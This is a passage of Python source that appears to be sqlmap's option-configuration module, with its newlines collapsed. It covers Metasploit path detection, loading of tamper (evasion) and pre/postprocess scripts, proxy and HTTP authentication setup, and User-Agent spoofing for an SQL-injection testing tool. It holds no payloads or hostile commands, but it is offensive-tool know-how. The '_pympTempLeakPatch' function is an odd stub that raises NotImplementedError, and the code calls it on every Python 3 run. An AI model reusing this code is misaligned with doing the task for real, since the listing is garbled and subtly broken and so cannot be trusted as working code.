msfEnvPathExists: warnMsg = "sqlmap is going to look for Metasploit Framework " warnMsg += "installation inside the environment path(s)" logger.warning(warnMsg) envPaths = os.environ.get("PATH", "").split(";" if IS_WIN else ":") for envPath in envPaths: envPath = envPath.replace(";", "") if any(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfcli", "msfconsole")): msfEnvPathExists = True if all(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfvenom",)): kb.oldMsf = False elif all(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfencode", "msfpayload")): kb.oldMsf = True else: msfEnvPathExists = False if msfEnvPathExists: infoMsg = "Metasploit Framework has been found " infoMsg += "installed in the '%s' path" % envPath logger.info(infoMsg) conf.msfPath = envPath break if not msfEnvPathExists: errMsg = "unable to locate Metasploit Framework installation. " errMsg += "You can get it at 'https://www.metasploit.com/download/'" raise SqlmapFilePathException(errMsg) def _setWriteFile(): if not conf.fileWrite: return debugMsg = "setting the write file functionality" logger.debug(debugMsg) if not os.path.exists(conf.fileWrite): errMsg = "the provided local file '%s' does not exist" % conf.fileWrite raise SqlmapFilePathException(errMsg) if not conf.fileDest: errMsg = "you did not provide the back-end DBMS absolute path " errMsg += "where you want to write the local file '%s'" % conf.fileWrite raise SqlmapMissingMandatoryOptionException(errMsg) conf.fileWriteType = getFileType(conf.fileWrite) def _setOS(): """ Force the back-end DBMS operating system option. """ if not conf.os: return if conf.os.lower() not in SUPPORTED_OS: errMsg = "you provided an unsupported back-end DBMS operating " errMsg += "system. The supported DBMS operating systems for OS " errMsg += "and file system access are %s. " % ', '.join([o.capitalize() for o in SUPPORTED_OS]) errMsg += "If you do not know the back-end DBMS underlying OS, " errMsg += "do not provide it and sqlmap will fingerprint it for " errMsg += "you." raise SqlmapUnsupportedDBMSException(errMsg) debugMsg = "forcing back-end DBMS operating system to user defined " debugMsg += "value '%s'" % conf.os logger.debug(debugMsg) Backend.setOs(conf.os) def _setTechnique(): validTechniques = sorted(getPublicTypeMembers(PAYLOAD.TECHNIQUE), key=lambda x: x[1]) validLetters = [_[0][0].upper() for _ in validTechniques] if conf.technique and isinstance(conf.technique, six.string_types): _ = [] for letter in conf.technique.upper(): if letter not in validLetters: errMsg = "value for --technique must be a string composed " errMsg += "by the letters %s. Refer to the " % ", ".join(validLetters) errMsg += "user's manual for details" raise SqlmapSyntaxException(errMsg) for validTech, validInt in validTechniques: if letter == validTech[0]: _.append(validInt) break conf.technique = _ def _setDBMS(): """ Force the back-end DBMS option. """ if not conf.dbms: return debugMsg = "forcing back-end DBMS to user defined value" logger.debug(debugMsg) conf.dbms = conf.dbms.lower() regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join(SUPPORTED_DBMS)), conf.dbms, re.I) if regex: conf.dbms = regex.group(1) Backend.setVersion(regex.group(2)) if conf.dbms not in SUPPORTED_DBMS: errMsg = "you provided an unsupported back-end database management " errMsg += "system. Supported DBMSes are as follows: %s. " % ', '.join(sorted((_ for _ in (list(DBMS_DICT) + getPublicTypeMembers(FORK, True))), key=str.lower)) errMsg += "If you do not know the back-end DBMS, do not provide " errMsg += "it and sqlmap will fingerprint it for you." raise SqlmapUnsupportedDBMSException(errMsg) for dbms, aliases in DBMS_ALIASES: if conf.dbms in aliases: conf.dbms = dbms break def _listTamperingFunctions(): """ Lists available tamper functions """ if conf.listTampers: infoMsg = "listing available tamper scripts\n" logger.info(infoMsg) for script in sorted(glob.glob(os.path.join(paths.SQLMAP_TAMPER_PATH, "*.py"))): content = openFile(script, 'r').read() match = re.search(r'(?s)__priority__.+"""(.+)"""', content) if match: comment = match.group(1).strip() dataToStdout("* %s - %s\n" % (setColor(os.path.basename(script), "yellow"), re.sub(r" *\n *", " ", comment.split("\n\n")[0].strip()))) def _setTamperingFunctions(): """ Loads tampering functions from given script(s) """ if conf.tamper: last_priority = PRIORITY.HIGHEST check_priority = True resolve_priorities = False priorities = [] for script in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper): found = False path = safeFilepathEncode(paths.SQLMAP_TAMPER_PATH) script = safeFilepathEncode(script.strip()) try: if not script: continue elif os.path.exists(os.path.join(path, script if script.endswith(".py") else "%s.py" % script)): script = os.path.join(path, script if script.endswith(".py") else "%s.py" % script) elif not os.path.exists(script): errMsg = "tamper script '%s' does not exist" % script raise SqlmapFilePathException(errMsg) elif not script.endswith(".py"): errMsg = "tamper script '%s' should have an extension '.py'" % script raise SqlmapSyntaxException(errMsg) except UnicodeDecodeError: errMsg = "invalid character provided in option '--tamper'" raise SqlmapSyntaxException(errMsg) dirname, filename = os.path.split(script) dirname = os.path.abspath(dirname) infoMsg = "loading tamper module '%s'" % filename[:-3] logger.info(infoMsg) if not os.path.exists(os.path.join(dirname, "__init__.py")): errMsg = "make sure that there is an empty file '__init__.py' " errMsg += "inside of tamper scripts directory '%s'" % dirname raise SqlmapGenericException(errMsg) if dirname not in sys.path: sys.path.insert(0, dirname) try: module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__ priority = priority if priority is not None else PRIORITY.LOWEST for name, function in inspect.getmembers(module, inspect.isfunction): if name == "tamper" and (hasattr(inspect, "signature") and all(_ in inspect.signature(function).parameters for _ in ("payload", "kwargs")) or inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs"): found = True kb.tamperFunctions.append(function) function.__name__ = module.__name__ if check_priority and priority > last_priority: message = "it appears that you might have mixed " message += "the order of tamper scripts. " message += "Do you want to auto resolve this? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'N': resolve_priorities = False elif choice == 'Q': raise SqlmapUserQuitException else: resolve_priorities = True check_priority = False priorities.append((priority, function)) last_priority = priority break elif name == "dependencies": try: function() except Exception as ex: errMsg = "error occurred while checking dependencies " errMsg += "for tamper module '%s' ('%s')" % (getUnicode(filename[:-3]), getSafeExString(ex)) raise SqlmapGenericException(errMsg) if not found: errMsg = "missing function 'tamper(payload, **kwargs)' " errMsg += "in tamper script '%s'" % script raise SqlmapGenericException(errMsg) if kb.tamperFunctions and len(kb.tamperFunctions) > 3: warnMsg = "using too many tamper scripts is usually not " warnMsg += "a good idea" logger.warning(warnMsg) if resolve_priorities and priorities: priorities.sort(key=functools.cmp_to_key(lambda a, b: cmp(a[0], b[0])), reverse=True) kb.tamperFunctions = [] for _, function in priorities: kb.tamperFunctions.append(function) def _setPreprocessFunctions(): """ Loads preprocess function(s) from given script(s) """ if conf.preprocess: for script in re.split(PARAMETER_SPLITTING_REGEX, conf.preprocess): found = False function = None script = safeFilepathEncode(script.strip()) try: if not script: continue if not os.path.exists(script): errMsg = "preprocess script '%s' does not exist" % script raise SqlmapFilePathException(errMsg) elif not script.endswith(".py"): errMsg = "preprocess script '%s' should have an extension '.py'" % script raise SqlmapSyntaxException(errMsg) except UnicodeDecodeError: errMsg = "invalid character provided in option '--preprocess'" raise SqlmapSyntaxException(errMsg) dirname, filename = os.path.split(script) dirname = os.path.abspath(dirname) infoMsg = "loading preprocess module '%s'" % filename[:-3] logger.info(infoMsg) if not os.path.exists(os.path.join(dirname, "__init__.py")): errMsg = "make sure that there is an empty file '__init__.py' " errMsg += "inside of preprocess scripts directory '%s'" % dirname raise SqlmapGenericException(errMsg) if dirname not in sys.path: sys.path.insert(0, dirname) try: module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) for name, function in inspect.getmembers(module, inspect.isfunction): try: if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)): found = True kb.preprocessFunctions.append(function) function.__name__ = module.__name__ break except ValueError: # Note: https://github.com/sqlmapproject/sqlmap/issues/4357 pass if not found: errMsg = "missing function 'preprocess(req)' " errMsg += "in preprocess script '%s'" % script raise SqlmapGenericException(errMsg) else: try: function(_urllib.request.Request("http://localhost")) except Exception as ex: tbMsg = traceback.format_exc() if conf.debug: dataToStdout(tbMsg) handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") os.close(handle) openFile(filename, "w+").write("#!/usr/bin/env\n\ndef preprocess(req):\n pass\n") openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+").write("pass") errMsg = "function 'preprocess(req)' " errMsg += "in preprocess script '%s' " % script errMsg += "had issues in a test run ('%s'). " % getSafeExString(ex) errMsg += "You can find a template script at '%s'" % filename raise SqlmapGenericException(errMsg) def _setPostprocessFunctions(): """ Loads postprocess function(s) from given script(s) """ if conf.postprocess: for script in re.split(PARAMETER_SPLITTING_REGEX, conf.postprocess): found = False function = None script = safeFilepathEncode(script.strip()) try: if not script: continue if not os.path.exists(script): errMsg = "postprocess script '%s' does not exist" % script raise SqlmapFilePathException(errMsg) elif not script.endswith(".py"): errMsg = "postprocess script '%s' should have an extension '.py'" % script raise SqlmapSyntaxException(errMsg) except UnicodeDecodeError: errMsg = "invalid character provided in option '--postprocess'" raise SqlmapSyntaxException(errMsg) dirname, filename = os.path.split(script) dirname = os.path.abspath(dirname) infoMsg = "loading postprocess module '%s'" % filename[:-3] logger.info(infoMsg) if not os.path.exists(os.path.join(dirname, "__init__.py")): errMsg = "make sure that there is an empty file '__init__.py' " errMsg += "inside of postprocess scripts directory '%s'" % dirname raise SqlmapGenericException(errMsg) if dirname not in sys.path: sys.path.insert(0, dirname) try: module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) for name, function in inspect.getmembers(module, inspect.isfunction): if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")): found = True kb.postprocessFunctions.append(function) function.__name__ = module.__name__ break if not found: errMsg = "missing function 'postprocess(page, headers=None, code=None)' " errMsg += "in postprocess script '%s'" % script raise SqlmapGenericException(errMsg) else: try: _, _, _ = function("", {}, None) except: handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") os.close(handle) openFile(filename, "w+").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n") openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+").write("pass") errMsg = "function 'postprocess(page, headers=None, code=None)' " errMsg += "in postprocess script '%s' " % script errMsg += "should return a tuple '(page, headers, code)' " errMsg += "(Note: find template script at '%s')" % filename raise SqlmapGenericException(errMsg) def _setThreads(): if not isinstance(conf.threads, int) or conf.threads <= 0: conf.threads = 1 def _setDNSCache(): """ Makes a cached version of socket._getaddrinfo to avoid subsequent DNS requests. """ def _getaddrinfo(*args, **kwargs): key = (args, frozenset(kwargs.items())) if key in kb.cache.addrinfo: return kb.cache.addrinfo[key] kb.cache.addrinfo[key] = socket._getaddrinfo(*args, **kwargs) return kb.cache.addrinfo[key] if not hasattr(socket, "_getaddrinfo"): socket._getaddrinfo = socket.getaddrinfo socket.getaddrinfo = _getaddrinfo def _setSocketPreConnect(): """ Makes a pre-connect version of socket.create_connection """ if conf.disablePrecon: return def _thread(): while kb.get("threadContinue") and not conf.get("disablePrecon"): done = False try: with kb.locks.socket: keys = list(socket._ready.keys()) for key in keys: with kb.locks.socket: q = socket._ready.get(key) if q is None or len(q) >= SOCKET_PRE_CONNECT_QUEUE_SIZE: continue args = key[0] kwargs = dict(key[1]) s = socket._create_connection(*args, **kwargs) with kb.locks.socket: q = socket._ready.get(key) if q is not None and len(q) < SOCKET_PRE_CONNECT_QUEUE_SIZE: q.append((s, time.time())) s = None done = True if s is not None: try: s.close() except: pass except KeyboardInterrupt: break except: pass finally: time.sleep(0.01 if not done else 0.001) def create_connection(*args, **kwargs): retVal = None stale = [] key = (tuple(args), frozenset(kwargs.items())) with kb.locks.socket: if key not in socket._ready: socket._ready[key] = collections.deque() q = socket._ready[key] while len(q) > 0: candidate, created = q.popleft() if (time.time() - created) < PRECONNECT_CANDIDATE_TIMEOUT: retVal = candidate break else: stale.append(candidate) for candidate in stale: try: candidate.shutdown(socket.SHUT_RDWR) candidate.close() except: pass if not retVal: retVal = socket._create_connection(*args, **kwargs) else: try: retVal.settimeout(kwargs.get("timeout", socket.getdefaulttimeout())) except: pass return retVal if not hasattr(socket, "_create_connection"): socket._ready = {} socket._create_connection = socket.create_connection socket.create_connection = create_connection thread = threading.Thread(target=_thread) setDaemon(thread) thread.start() def _setHTTPHandlers(): """ Check and set the HTTP/SOCKS proxy for all HTTP requests. """ with kb.locks.handlers: if conf.proxyList: conf.proxy = conf.proxyList[0] conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1] if len(conf.proxyList) > 1: infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy logger.info(infoMsg) elif not conf.proxy: if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy: proxyHandler.proxies = {} if conf.proxy: debugMsg = "setting the HTTP/SOCKS proxy for all HTTP requests" logger.debug(debugMsg) try: _ = _urllib.parse.urlsplit(conf.proxy) except Exception as ex: errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) match = re.search(r"\A([^:]*):([^:]*)@([^@]+)\Z", _.netloc) if match: username, password = match.group(1), match.group(2) else: username, password = None, None hostnamePort = _.netloc.rsplit('@', 1)[-1].rsplit(":", 1) scheme = _.scheme.upper() hostname = hostnamePort[0] port = None if len(hostnamePort) == 2: try: port = int(hostnamePort[1]) except: pass # drops into the next check block if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)): errMsg = "proxy value must be in format '(%s)://address:port'" % "|".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE)) raise SqlmapSyntaxException(errMsg) if conf.proxyCred: _ = re.search(r"\A(.*?):(.*?)\Z", conf.proxyCred) if not _: errMsg = "proxy authentication credentials " errMsg += "value must be in format username:password" raise SqlmapSyntaxException(errMsg) else: username = _.group(1) password = _.group(2) if scheme in (PROXY_TYPE.SOCKS4, PROXY_TYPE.SOCKS5): proxyHandler.proxies = {} if scheme == PROXY_TYPE.SOCKS4: warnMsg = "SOCKS4 does not support resolving (DNS) names (i.e. causing DNS leakage)" singleTimeWarnMessage(warnMsg) socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password) socks.wrapmodule(_http_client) else: socks.unwrapmodule(_http_client) if conf.proxyCred: # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection proxyString = "%s@" % conf.proxyCred else: proxyString = "" proxyString += "%s:%d" % (hostname, port) proxyHandler.proxies = kb.proxies = {"http": proxyString, "https": proxyString} proxyHandler.__init__(proxyHandler.proxies) if not proxyHandler.proxies: for _ in ("http", "https"): if hasattr(proxyHandler, "%s_open" % _): delattr(proxyHandler, "%s_open" % _) debugMsg = "creating HTTP requests opener object" logger.debug(debugMsg) handlers = filterNone([multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler]) if not conf.dropSetCookie: if not conf.loadCookies: conf.cj = _http_cookiejar.CookieJar() else: conf.cj = _http_cookiejar.MozillaCookieJar() resetCookieJar(conf.cj) handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj)) # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html if conf.keepAlive: warnMsg = "persistent HTTP(s) connections, Keep-Alive, has " warnMsg += "been disabled because of its incompatibility " if conf.proxy: warnMsg += "with HTTP(s) proxy" logger.warning(warnMsg) elif conf.authType: warnMsg += "with authentication methods" logger.warning(warnMsg) else: handlers.append(keepAliveHandler) opener = _urllib.request.build_opener(*handlers) opener.addheaders = [] # Note: clearing default "User-Agent: Python-urllib/X.Y" _urllib.request.install_opener(opener) def _setSafeVisit(): """ Check and set the safe visit options. """ if not any((conf.safeUrl, conf.safeReqFile)): return if conf.safeReqFile: checkFile(conf.safeReqFile) raw = readCachedFileContent(conf.safeReqFile) match = re.search(r"\A([A-Z]+) ([^ ]+) HTTP/[0-9.]+\Z", raw.split('\n')[0].strip()) if match: kb.safeReq.method = match.group(1) kb.safeReq.url = match.group(2) kb.safeReq.headers = {} for line in raw.split('\n')[1:]: line = line.strip() if line and ':' in line: key, value = line.split(':', 1) value = value.strip() kb.safeReq.headers[key] = value if key.upper() == HTTP_HEADER.HOST.upper(): if not value.startswith("http"): scheme = "http" if value.endswith(":443"): scheme = "https" value = "%s://%s" % (scheme, value) kb.safeReq.url = _urllib.parse.urljoin(value, kb.safeReq.url) else: break post = None if '\r\n\r\n' in raw: post = raw[raw.find('\r\n\r\n') + 4:] elif '\n\n' in raw: post = raw[raw.find('\n\n') + 2:] if post and post.strip(): kb.safeReq.post = post else: kb.safeReq.post = None else: errMsg = "invalid format of a safe request file" raise SqlmapSyntaxException(errMsg) else: if not re.search(r"(?i)\Ahttp[s]*://", conf.safeUrl): if ":443/" in conf.safeUrl: conf.safeUrl = "https://%s" % conf.safeUrl else: conf.safeUrl = "http://%s" % conf.safeUrl if (conf.safeFreq or 0) <= 0: errMsg = "please provide a valid value (>0) for safe frequency ('--safe-freq') while using safe visit features" raise SqlmapSyntaxException(errMsg) def _setPrefixSuffix(): if conf.prefix is not None and conf.suffix is not None: # Create a custom boundary object for user's supplied prefix # and suffix boundary = AttribDict() boundary.level = 1 boundary.clause = [0] boundary.where = [1, 2, 3] boundary.prefix = conf.prefix boundary.suffix = conf.suffix if " like" in boundary.suffix.lower(): if "'" in boundary.suffix.lower(): boundary.ptype = 3 elif '"' in boundary.suffix.lower(): boundary.ptype = 5 elif "'" in boundary.suffix: boundary.ptype = 2 elif '"' in boundary.suffix: boundary.ptype = 4 else: boundary.ptype = 1 # user who provides --prefix/--suffix does not want other boundaries # to be tested for conf.boundaries = [boundary] def _setAuthCred(): """ Adds authentication credentials (if any) for current target to the password manager (used by connection handler) """ if kb.passwordMgr and all(_ is not None for _ in (conf.scheme, conf.hostname, conf.port, conf.authUsername, conf.authPassword)): kb.passwordMgr.add_password(None, "%s://%s:%d" % (conf.scheme, conf.hostname, conf.port), conf.authUsername, conf.authPassword) def _setHTTPAuthentication(): """ Check and set the HTTP(s) authentication method (Basic, Digest, Bearer, NTLM or PKI), username and password for first three methods, or PEM private key file for PKI authentication """ global authHandler if not conf.authType and not conf.authCred and not conf.authFile: return if conf.authFile and not conf.authType: conf.authType = AUTH_TYPE.PKI elif conf.authType and not conf.authCred and not conf.authFile: errMsg = "you specified the HTTP authentication type, but " errMsg += "did not provide the credentials" raise SqlmapSyntaxException(errMsg) elif not conf.authType and conf.authCred: errMsg = "you specified the HTTP authentication credentials, " errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")" raise SqlmapSyntaxException(errMsg) elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.BEARER, AUTH_TYPE.NTLM, AUTH_TYPE.PKI): errMsg = "HTTP authentication type value must be " errMsg += "Basic, Digest, Bearer, NTLM or PKI" raise SqlmapSyntaxException(errMsg) if not conf.authFile: debugMsg = "setting the HTTP authentication type and credentials" logger.debug(debugMsg) authType = conf.authType.lower() if authType in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST): regExp = "^(.*?):(.*?)$" errMsg = "HTTP %s authentication credentials " % authType errMsg += "value must be in format 'username:password'" elif authType == AUTH_TYPE.BEARER: conf.httpHeaders.append((HTTP_HEADER.AUTHORIZATION, "Bearer %s" % conf.authCred.strip())) return elif authType == AUTH_TYPE.NTLM: regExp = "^(.*\\\\.*):(.*?)$" errMsg = "HTTP NTLM authentication credentials value must " errMsg += "be in format 'DOMAIN\\username:password'" elif authType == AUTH_TYPE.PKI: errMsg = "HTTP PKI authentication require " errMsg += "usage of option `--auth-file`" raise SqlmapSyntaxException(errMsg) aCredRegExp = re.search(regExp, conf.authCred) if not aCredRegExp: raise SqlmapSyntaxException(errMsg) conf.authUsername = aCredRegExp.group(1) conf.authPassword = aCredRegExp.group(2) kb.passwordMgr = _urllib.request.HTTPPasswordMgrWithDefaultRealm() _setAuthCred() if authType == AUTH_TYPE.BASIC: authHandler = SmartHTTPBasicAuthHandler(kb.passwordMgr) elif authType == AUTH_TYPE.DIGEST: authHandler = _urllib.request.HTTPDigestAuthHandler(kb.passwordMgr) elif authType == AUTH_TYPE.NTLM: try: from ntlm import HTTPNtlmAuthHandler except ImportError: errMsg = "sqlmap requires Python NTLM third-party library " errMsg += "in order to authenticate via NTLM. Download from " errMsg += "'https://github.com/mullender/python-ntlm'" raise SqlmapMissingDependence(errMsg) authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr) else: debugMsg = "setting the HTTP(s) authentication PEM private key" logger.debug(debugMsg) _ = safeExpandUser(conf.authFile) checkFile(_) authHandler = HTTPSPKIAuthHandler(_) def _setHTTPExtraHeaders(): if conf.headers: debugMsg = "setting extra HTTP headers" logger.debug(debugMsg) if "\\n" in conf.headers: conf.headers = conf.headers.replace("\\r\\n", "\\n").split("\\n") else: conf.headers = conf.headers.replace("\r\n", "\n").split("\n") for headerValue in conf.headers: if not headerValue.strip(): continue if headerValue.count(':') >= 1: header, value = (_.lstrip() for _ in headerValue.split(":", 1)) if header and value: conf.httpHeaders.append((header, value)) elif headerValue.startswith('@'): checkFile(headerValue[1:]) kb.headersFile = headerValue[1:] else: errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u') raise SqlmapSyntaxException(errMsg) elif not conf.requestFile and len(conf.httpHeaders or []) < 2: if conf.encoding: conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "%s;q=0.7,*;q=0.1" % conf.encoding)) # Invalidating any caching mechanism in between # Reference: http://stackoverflow.com/a/1383359 conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache")) def _setHTTPUserAgent(): """ Set the HTTP User-Agent header. Depending on the user options it can be: * The default sqlmap string * A default value read as user option * A random value read from a list of User-Agent headers from a file choosed as user option """ debugMsg = "setting the HTTP User-Agent header" logger.debug(debugMsg) if conf.mobile: if conf.randomAgent: _ = random.sample([_[1] for _ in getPublicTypeMembers(MOBILES, True)], 1)[0] conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _)) else: message = "which smartphone do you want sqlmap to imitate " message += "through HTTP User-Agent header?\n" items = sorted(getPublicTypeMembers(MOBILES, True)) for count in xrange(len(items)): item = items[count] message += "[%d] %s%s\n" % (count + 1, item[0], " (default)" if item == MOBILES.IPHONE else "") test = readInput(message.rstrip('\n'), default=items.index(MOBILES.IPHONE) + 1) try: item = items[int(test) - 1] except: item = MOBILES.IPHONE conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, item[1])) elif conf.agent: conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, conf.agent)) elif not conf.randomAgent: _ = True for header, _ in conf.httpHeaders: if header.upper() == HTTP_HEADER.USER_AGENT.upper(): _ = False break if _: conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT)) else: userAgent = fetchRandomAgent() infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent infoMsg += "file '%s'" % paths.USER_AGENTS logger.info(infoMsg) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent)) def _setHTTPReferer(): """ Set the HTTP Referer """ if conf.referer: debugMsg = "setting the HTTP Referer header" logger.debug(debugMsg) conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.referer)) def _setHTTPHost(): """ Set the HTTP Host """ if conf.host: debugMsg = "setting the HTTP Host header" logger.debug(debugMsg) conf.httpHeaders.append((HTTP_HEADER.HOST, conf.host)) def _setHTTPCookies(): """ Set the HTTP Cookie header """ if conf.cookie: debugMsg = "setting the HTTP Cookie header" logger.debug(debugMsg) conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie)) def _setHostname(): """ Set value conf.hostname """ if conf.url: try: conf.hostname = _urllib.parse.urlsplit(conf.url).netloc.split(':')[0] except ValueError as ex: errMsg = "problem occurred while " errMsg += "parsing an URL '%s' ('%s')" % (conf.url, getSafeExString(ex)) raise SqlmapDataException(errMsg) def _setHTTPTimeout(): """ Set the HTTP timeout """ if conf.timeout: debugMsg = "setting the HTTP timeout" logger.debug(debugMsg) conf.timeout = float(conf.timeout) if conf.timeout < 3.0: warnMsg = "the minimum HTTP timeout is 3 seconds, sqlmap " warnMsg += "will going to reset it" logger.warning(warnMsg) conf.timeout = 3.0 else: conf.timeout = 30.0 try: socket.setdefaulttimeout(conf.timeout) except OverflowError as ex: raise SqlmapValueException("invalid value used for option '--timeout' ('%s')" % getSafeExString(ex)) def _checkDependencies(): """ Checks for missing dependencies. """ if conf.dependencies: checkDependencies() def _createHomeDirectories(): """ Creates directories inside sqlmap's home directory """ if conf.get("purge"): return for context in ("output", "history"): directory = paths["SQLMAP_%s_PATH" % getUnicode(context).upper()] # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363 try: if not os.path.isdir(directory): os.makedirs(directory) _ = os.path.join(directory, randomStr()) open(_, "w+").close() os.remove(_) if conf.get("outputDir") and context == "output": warnMsg = "using '%s' as the %s directory" % (directory, context) logger.warning(warnMsg) except (OSError, IOError) as ex: tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context) warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context) warnMsg += "'%s' (%s). " % (directory, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) logger.warning(warnMsg) paths["SQLMAP_%s_PATH" % context.upper()] = tempDir def _pympTempLeakPatch(tempDir): # Cross-referenced function raise NotImplementedError def _createTemporaryDirectory(): """ Creates temporary directory for this run. """ if conf.tmpDir: try: if not os.path.isdir(conf.tmpDir): os.makedirs(conf.tmpDir) _ = os.path.join(conf.tmpDir, randomStr()) open(_, "w+").close() os.remove(_) tempfile.tempdir = conf.tmpDir warnMsg = "using '%s' as the temporary directory" % conf.tmpDir logger.warning(warnMsg) except (OSError, IOError) as ex: errMsg = "there has been a problem while accessing " errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex) raise SqlmapSystemException(errMsg) else: try: if not os.path.isdir(tempfile.gettempdir()): os.makedirs(tempfile.gettempdir()) except Exception as ex: warnMsg = "there has been a problem while accessing " warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex) warnMsg += "make sure that there is enough disk space left. If problem persists, " warnMsg += "try to set environment variable 'TEMP' to a location " warnMsg += "writeable by the current user" logger.warning(warnMsg) if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir: try: tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid())) except: tempfile.tempdir = os.path.join(paths.SQLMAP_HOME_PATH, "tmp", "sqlmap%s%d" % (randomStr(6), os.getpid())) kb.tempDir = tempfile.tempdir if not os.path.isdir(tempfile.tempdir): try: os.makedirs(tempfile.tempdir) except Exception as ex: errMsg = "there has been a problem while setting " errMsg += "temporary directory location ('%s')" % getSafeExString(ex) raise SqlmapSystemException(errMsg) conf.tempDirs.append(tempfile.tempdir) if six.PY3: _pympTempLeakPatch(kb.tempDir) def _cleanupOptions(): """ Cleanup configuration attributes. """ if conf.encoding: try: codecs.lookup(conf.encoding) except LookupError: errMsg = "unknown encoding '%s'" % conf.encoding raise SqlmapValueException(errMsg) debugMsg = "cleaning up configuration parameters" logger.debug(debugMsg) width = getConsoleWidth() if conf.eta: conf.progressWidth = width - 26 else: conf.progressWidth = width - 46 for key, value in conf.items(): if value and any(key.endswith(_) for _ in ("Path", "File", "Dir")): if isinstance(value, str): conf[key] = safeExpandUser(value) if conf.testParameter: conf.testParameter = urldecode(conf.testParameter) conf.testParameter = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.testParameter)] else: conf.testParameter = [] if conf.ignoreCode: if conf.ignoreCode == IGNORE_CODE_WILDCARD: conf.ignoreCode = xrange(0, 1000) else: try: conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)] except ValueError: errMsg = "option '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD raise SqlmapSyntaxException(errMsg) else: conf.ignoreCode = [] if conf.abortCode: try: conf.abortCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.abortCode)] except ValueError: errMsg = "option '--abort-code' should contain a list of integer values" raise SqlmapSyntaxException(errMsg) else: conf.abortCode = [] if conf.paramFilter: conf.paramFilter = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.paramFilter.upper())] else: conf.paramFilter = [] if conf.base64Parameter: conf.base64Parameter = urldecode(conf.base64Parameter) conf.base64Parameter = conf.base64Parameter.strip() conf.base64Parameter = re.split(PARAMETER_SPLITTING_REGEX, conf.base64Parameter) else: conf.base64Parameter = [] if conf.agent: conf.agent = re.sub(r"[\r\n]", "", conf.agent) if conf.user: conf.user = conf.user.replace(" ", "") if conf.rParam: if all(_ in conf.rParam for _ in ('=', ',')): original = conf.rParam conf.rParam = [] for part in original.split(';'): if '=' in part: left, right = part.split('=', 1) conf.rParam.append(left) kb.randomPool[left] = 